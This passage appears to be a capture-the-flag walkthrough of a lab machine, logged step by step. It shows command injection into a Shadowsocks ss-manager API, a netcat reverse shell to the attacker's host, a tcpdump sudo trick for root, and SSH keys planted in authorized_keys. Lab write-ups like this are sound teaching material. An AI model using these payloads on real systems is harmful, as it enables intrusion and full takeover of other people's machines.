-rw-r--r--. 1 nodeadmin nodeadmin  193 Mar 15  2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin  231 Mar 15  2018 .bashrc
drwx------  3 nodeadmin nodeadmin 4096 Jun  1  2018 .config
-rw-------  1 nodeadmin nodeadmin   16 Jun  3  2018 .esd_auth
drwxr-xr-x  4 nodeadmin nodeadmin 4096 Jun  3  2018 .forever
drwxr-xr-x  2 nodeadmin nodeadmin 4096 Feb 28 15:40 .ssh
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30  2018 .web
[nodeadmin@localhost ~]$

Sweet, will come back soon and finish this off! Alright just noting interesting things as I poke around now...

  • For some reason there's an nmap script in /usr/share /usr/share/nmap/scripts/http-domino-enum-passwords.nse.1
  • There's wordpress somewhere... and it includes woocommerce /usr/share/wordpress/wp-content/plugins/woocommerce/assets/js/frontend/lost-password.js Hmm here's something interesting...
$ ps -aux | grep root
...
root       811  0.0  0.1 301464  4540 ?        S    15:39   0:00 su fireman -c /usr/local/bin/ss-manager
...
[nodeadmin@localhost uploads]$ ls -al /usr/local/bin/ss-manager
-rwxr-xr-x 1 root root 380064 Jun  1  2018 /usr/local/bin/ss-manager
SS-MANAGER(1)                                                         Shadowsocks-libev Manual                                                        SS-MANAGER(1)
NAME
       ss-manager - ss-server controller for multi-user management and traffic statistics
SYNOPSIS
       ss-manager [-AuUv] [-h|--help] [-s <server_host>] [-p <server_port>] [-l <local_port>] [-k <password>] [-m <encrypt_method>] [-f <pid_file>] [-t <timeout>]
       [-c <config_file>] [-i <interface>] [-b <local_addr>] [-a <user_name>] [--manager-address <path_to_unix_domain>] [--executable <path_to_server_executable>]
       [--fast-open] [--reuse-port] [--plugin <plugin_name>] [--plugin-opts <plugin_options>]
DESCRIPTION
       Shadowsocks-libev is a lightweight and secure socks5 proxy. It is a port of the original shadowsocks created by clowwindy. Shadowsocks-libev is written in
       pure C and takes advantage of libev to achieve both high performance and low resource consumption.
       Shadowsocks-libev consists of five components. ss-manager(1) is a controller for multi-user management and traffic statistics, using UNIX domain socket to
       talk with ss-server(1). Also, it provides a UNIX domain socket or IP based API for other software. About the details of this API, please refer to the
       following PROTOCOL section.
OPTIONS
       -s <server_host>
           Set the server’s hostname or IP.
┌──(kali㉿kali)-[~/.ssh]
└─$ searchsploit ss-manager 
Exploits: No Results
Shellcodes: No Results
                                                                      
┌──(kali㉿kali)-[~/.ssh]
└─$ searchsploit shadowsocks
------------------------------------ ---------------------------------
 Exploit Title                      |  Path
------------------------------------ ---------------------------------
Shadowsocks - Log File Command Exec | linux/local/43007.txt
shadowsocks-libev 3.1.0 - Command E | linux/local/43006.txt
------------------------------------ ---------------------------------
Shellcodes: No Results

Okay it seems like this process should be exploitable? Let's try! Exerpt from the exploit descritpion:

As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:
nc -u 127.0.0.1 8839
    add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}

Let's try!

[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
ok
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
ok
^C
[nodeadmin@localhost tmp]$ ls
enum  systemd-private-3a765a9712e742748aa6994b16188738-chronyd.service-byWK2N
evil  systemd-private-3a765a9712e742748aa6994b16188738-rtkit-daemon.service-PVtb8k
f     tmp.5UYFu9CQg9

Okay sweet, now we can use this to get onto fireman user!

[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
ok
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 10.10.10.4 6666 ||"}
ok
└─$ nc -lvp 6666
listening on [any] 6666 ...
10.10.10.7: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.7] 58180
id
uid=1002(fireman) gid=1002(fireman) groups=1002(fireman)
cd /home/fireman && mkdir .ssh && echo "Key" > authorized_keys
└─$ ssh fireman@10.10.10.7                                                                                                         130 ⨯
Last failed login: Sun Feb 28 16:00:32 EST 2021 on pts/0
There was 1 failed login attempt since the last successful login.
Last login: Sun Feb 28 15:39:52 2021
[fireman@localhost ~]$ id
uid=1002(fireman) gid=1002(fireman) groups=1002(fireman)
[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/iptables
    (ALL) NOPASSWD: /usr/bin/nmcli
    (ALL) NOPASSWD: /usr/sbin/tcpdump

Okay should be easy, tcpdump I know is on gtfobins

[fireman@localhost ~]$ COMMAND='id'
[fireman@localhost ~]$ TF=$(mktemp)
[fireman@localhost ~]$ echo "$COMMAND" > $TF
[fireman@localhost ~]$ chmod +x $TF
[fireman@localhost ~]$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
0 packets dropped by kernel
uid=0(root) gid=0(root) groups=0(root)

I actually got stuck here for a moment, but I had to actually pop another shell and make some traffic on lo to get it to exit...

[fireman@localhost ~]$ echo 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOWct6VtfWUebAnnE3B3Fzg4Lo/s+exeDied0x1L/aOQuHlx90FaE1b6BzcTa7inViJE+xDF6Q4D/pxxfO5dYt+EptFjQInuXswfeH2mSVQGB6dJAxETRP7u7lrtIgyssu8LjFFsnvYKhB1IcJiYqNoBcisD70Zo8iBMPWLhNshpoOSpxsH1UQsXA2LBF9VYlGqj0/0jE1VJQecPOZp6pjOAdtINLQNy4PCLOvZY0c9034PjEdH2veBVrAEGNHPP+SYOU4nHRhgQKCxXf8MqO62V7mQEsTD8jKcBr8MWlRFxi7rtoSV7kXss+/Aa+GW+DxVCWf9TZ7nHZYp14uDtEukvjamHahx30jkKDNkX9PSPu6fHekkhc3iP0qVYcoQJtvwYxF2W2DucDrtTJ6cxVL/SvrTXtxchcnQono08yVyBJhmsNs3Ax77lp2f1Z384ojruz+SZsueJKYnt5BCZJfuarr/qpLEVnq41tfJrHpRn8aN/8mprn4gO/JrWunC+k= kali@kali" > /root/.ssh/authorized_keys' > $TF
[fireman@localhost ~]$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
0 packets dropped by kernel
└─$ ssh root@10.10.10.7                                                                                                            130 ⨯
Last login: Thu Jun  7 23:14:57 2018 from 192.168.2.15
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

We win! 5